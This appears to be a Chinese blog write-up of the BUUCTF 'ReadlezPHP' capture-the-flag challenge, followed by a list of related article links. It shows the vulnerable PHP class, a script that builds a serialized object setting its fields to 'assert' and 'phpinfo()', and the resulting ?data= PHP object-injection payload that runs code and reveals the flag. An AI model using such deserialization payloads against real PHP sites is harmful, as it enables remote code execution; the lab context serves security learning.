BUUCTF——ReadlezPHP

BUUCTF------ReadlezPHP

进入靶场

看了看框架和源码信息

没有什么可以利用的地方

爆破一下目录看看

结果只出来个index.php

看了一下Findsomthing

报了个路径

复制代码
/time.php?source

拼接访问一下

出了个php代码

php 复制代码
<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

代码结构分析

  1. 类定义 - HelloPhp 类:
    • 属性 :
      • public $a
      • public $b
    • 构造函数 __construct() :
      • 初始化 $this->a = "Y-m-d h:i:s" (日期格式字符串)
      • 初始化 $this->b = "date" (PHP日期函数名)
    • 析构函数 __destruct() :
      • $this->a 赋值给 $a
      • $this->b 赋值给 $b
      • 执行 $b($a) 并输出结果 (动态函数调用)
  2. 实例化 :
    • $c = new HelloPhp 创建了一个默认的 HelloPhp 对象
  3. 源代码查看功能 :
    • 如果 GET 参数 source 存在,则显示当前文件源代码并退出
  4. 反序列化入口 :
    • @$ppp = unserialize($_GET["data"]) 从 GET 参数 data 反序列化数据

构造反序列化payload

php 复制代码
<?php
class HelloPhp
{
    public $a='phpinfo()';
    public $b='assert';

}
$c = new HelloPhp;
echo(serialize($c));

拿到反序列化代码

构造payload

复制代码
?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

进入phpinfo 翻翻配置信息

翻到好东西了

复制代码
flag{6fcec1e0-69df-46c7-a734-22b02c305449}

直接下播!!!

相关推荐
网安INF18 分钟前
ElGamal加密算法:离散对数难题的安全基石
java·网络安全·密码学
DevSecOps选型指南6 小时前
2025软件供应链安全最佳实践︱证券DevSecOps下供应链与开源治理实践
网络·安全·web安全·开源·代码审计·软件供应链安全
ABB自动化6 小时前
for AC500 PLCs 3ADR025003M9903的安全说明
服务器·安全·机器人
恰薯条的屑海鸥7 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第十六期-SSRF模块)
数据库·学习·安全·web安全·渗透测试·网络安全学习
阿部多瑞 ABU8 小时前
主流大语言模型安全性测试(三):阿拉伯语越狱提示词下的表现与分析
人工智能·安全·ai·语言模型·安全性测试
网安INF9 小时前
CVE-2020-17519源码分析与漏洞复现(Flink 任意文件读取)
java·web安全·网络安全·flink·漏洞
lubiii_9 小时前
墨者学院-密码学实训隐写术第二题
web安全·网络安全·密码学
moongoblin10 小时前
行业赋能篇-2-能源行业安全运维升级
运维·安全·协作
Fortinet_CHINA10 小时前
引领AI安全新时代 Accelerate 2025北亚巡展·北京站成功举办
网络·安全
这儿有一堆花11 小时前
安全访问家中 Linux 服务器的远程方案 —— 专为单用户场景设计
linux·服务器·安全